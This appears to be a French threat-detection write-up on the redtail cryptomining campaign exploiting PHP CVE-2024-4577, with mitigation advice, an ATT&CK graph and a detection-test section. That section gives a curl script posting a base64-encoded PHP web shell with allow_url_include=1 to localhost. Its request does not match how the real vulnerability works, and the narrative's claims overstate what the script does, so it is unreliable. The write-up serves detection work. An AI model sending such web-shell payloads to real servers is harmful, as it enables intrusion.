Libredtail Exploite CVE-2024-4577 pour le Cryptominage
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article détaille une campagne de cryptominage impliquant la famille de malwares redtail, qui est diffusée via des requêtes HTTP exploitantes CVE-2024-4577 dans PHP. Les acteurs de la menace envoient des charges utiles encodées en Base64 qui récupèrent et exécutent un script auto-réplicatif nommé cve_2024_4577.selfrep. L’activité est ciblée sur des serveurs web vulnérables et est associée à des tentatives de connexion SSH utilisant des identifiants par défaut pour étendre l’accès.
Investigation
Le chercheur a observé plusieurs adresses IP en provenance d’Allemagne, du Royaume-Uni et de l’Inde envoyant une séquence de quatre requêtes POST HTTP conçues pour passer à /bin/sh, utiliser wget or curl pour télécharger un script shell, et déclencher l’ CVE-2024-4577 exploit. Lorsqu’il réussit, l’attaque dépose un fichier binaire caché .redtail et termine les services de cryptominage concurrents déjà en cours d’exécution sur l’hôte. L’enquête a également enregistré des tentatives de connexion SSH utilisant des identifiants tels que admin/admin, ainsi qu’une activité de scan SYN.
Atténuation
Les organisations doivent mettre à jour les installations PHP vers les versions qui traitent CVE-2024-4577, bloquer l’ libredtail-http user agent au périmètre, et déployer des règles WAF qui refusent les requêtes contenant /sh ou le modèle de charge utile d’exploit connu. L’accès SSH doit être renforcé en imposant l’authentification par clé et en désactivant les identifiants par défaut ou faibles. La surveillance du trafic sortant suspect vers des adresses IP inconnues est également recommandée.
Réponse
Lorsque des détections sont déclenchées, les défenseurs doivent isoler le système affecté, collecter des artefacts forensiques tels que le cve_2024_4577.selfrep script et le .redtail binaire, et supprimer tous les travaux cron ou tâches planifiées créés par le malware. Les équipes de sécurité doivent ensuite inventorier les applications PHP dans l’environnement et appliquer les correctifs nécessaires. Les journaux SSH doivent également être examinés pour détecter des signes d’abus d’identifiants ou d’accès non autorisé.
"graph TB %% Class definitions classDef technique fill:#99ccff %% Nodes u2013 MITRE ATT&CK Techniques tech_exploit_app["<b>Technique</b> – <b>T1190 Exploit Public-Facing Application</b><br/><b>Description</b>: Adversaries may exploit a publicu2011facing application to gain initial access."] class tech_exploit_app technique tech_content_injection["<b>Technique</b> – <b>T1659 Content Injection</b><br/><b>Description</b>: Adversary injects malicious content such as a PHP payload into a web application to achieve code execution."] class tech_content_injection technique tech_deobfuscate["<b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/><b>Description</b>: Adversaries decode or deobfuscate data (e.g., Base64) to reveal commands or payloads."] class tech_deobfuscate technique tech_unix_shell["<b>Technique</b> – <b>T1059.004 Unix Shell</b><br/><b>Description</b>: Adversaries use a Unix shell to execute commands such as wget, curl, or sh for downloading and running malicious code."] class tech_unix_shell technique tech_hidden_file["<b>Technique</b> – <b>T1564.001 Hidden Files and Directories</b><br/><b>Description</b>: Adversaries create hidden files or directories (e.g., .redtail) to conceal malicious artifacts."] class tech_hidden_file technique tech_compute_hijack["<b>Technique</b> – <b>T1496.001 Compute Hijacking</b><br/><b>Description</b>: Adversaries hijack system compute resources to perform unauthorized cryptomining."] class tech_compute_hijack technique tech_brute_force["<b>Technique</b> – <b>T1110.001 Password Guessing</b><br/><b>Description</b>: Adversaries attempt credential guessing (e.g., SSH admin/admin) to obtain valid credentials."] class tech_brute_force technique tech_network_discovery["<b>Technique</b> – <b>T1046 Network Service Discovery</b><br/><b>Description</b>: Adversaries perform scans (e.g., SYN scans) to discover active network services and open ports."] class tech_network_discovery technique tech_obfuscate["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Adversaries encode or otherwise obfuscate files (e.g., Base64 encoded POST body) to evade detection."] class tech_obfuscate technique %% Connections showing attack flow tech_exploit_app –>|leads_to| tech_content_injection tech_content_injection –>|leads_to| tech_deobfuscate tech_deobfuscate –>|leads_to| tech_unix_shell tech_unix_shell –>|leads_to| tech_hidden_file tech_hidden_file –>|leads_to| tech_compute_hijack tech_exploit_app –>|also_triggers| tech_brute_force tech_brute_force –>|leads_to| tech_network_discovery tech_unix_shell –>|enables| tech_obfuscate "
Flux d’attaque
Détections
Téléchargement / Téléversement de fichiers à distance via des outils standards (via cmdline)
Voir
IOCs (SourceIP) à détecter : Danger de Libredtail
Voir
IOCs (DestinationIP) à détecter : Danger de Libredtail
Voir
Détection d’activité malveillante Libredtail-HTTP [Serveur Web]
Voir
Exécution de simulation
Préalable : le contrôle préalable de télémétrie et de baselining doit avoir été validé.
Justification : cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit d’attaque et commandes :
Un adversaire a pris pied sur un serveur web compromis et souhaite établir une persistance en utilisant le Libredtail‑HTTP web‑shell. Ils élaborent un POST HTTP malveillant qui :- Utilise l libredtail‑http user‑agent (aide le malware à identifier son propre trafic).
- Comprend une requête URL avec /bin/sh pour indiquer une demande d’exécution de commande et la directive PHP allow_url_include=1 pour autoriser l’inclusion de code distant.
- Envoie une charge utile encodée en base64 dans le corps de la requête contenant le code PHP
<?php system($_GET['cmd']); ?>(obfuscation – T1027). - Définit un en-tête personnalisé Script-Execution : apache.selfrep que Libredtail‑HTTP utilise en interne pour l’auto‑réplication (correspond avec
script_execution|contains).
Le serveur, lors du traitement de cette requête, décode la charge utile, écrit un fichier PHP malveillant dans le répertoire webroot, et exécute ensuite des commandes reçues via
/bin/sh, établissant un canal chiffré de retour à l’attaquant (T1573). -
Script de test de régression :
#!/usr/bin/env bash # ------------------------------------------------- # Simulation de requête malveillante Libredtail-HTTP # ------------------------------------------------- TARGET="http://localhost/upload.php" USER_AGENT="libredtail-http" MALICIOUS_PAYLOAD=$(echo -n '<?php system($_GET["cmd"]); ?>' | base64) curl -X POST "$TARGET?dir=/bin/sh&allow_url_include=1" -H "User-Agent: $USER_AGENT" -H "Script-Execution: apache.selfrep" -H "Content-Type: application/x-www-form-urlencoded" --data "payload=$MALICIOUS_PAYLOAD&marker=cve_2024_4577.selfrep" # La requête devrait créer/écraser un web‑shell PHP sur le serveur.Exécutez le script sur une machine pouvant atteindre le serveur web cible. Après l’exécution, vérifiez que l’alerte se déclenche dans le SIEM.
-
Commandes de nettoyage :
#!/usr/bin/env bash # Supprimez le web‑shell PHP malveillant créé par le test CLEANUP_TARGET="http://localhost/cleanup.php" curl -X POST "$CLEANUP_TARGET" -H "User-Agent: libredtail-http" -d "file=uploaded_shell.php"Il est supposé que le point de terminaison de nettoyage existe à des fins de test ; remplacez par les commandes de suppression du système de fichiers appropriées si vous avez un accès direct à l’hôte.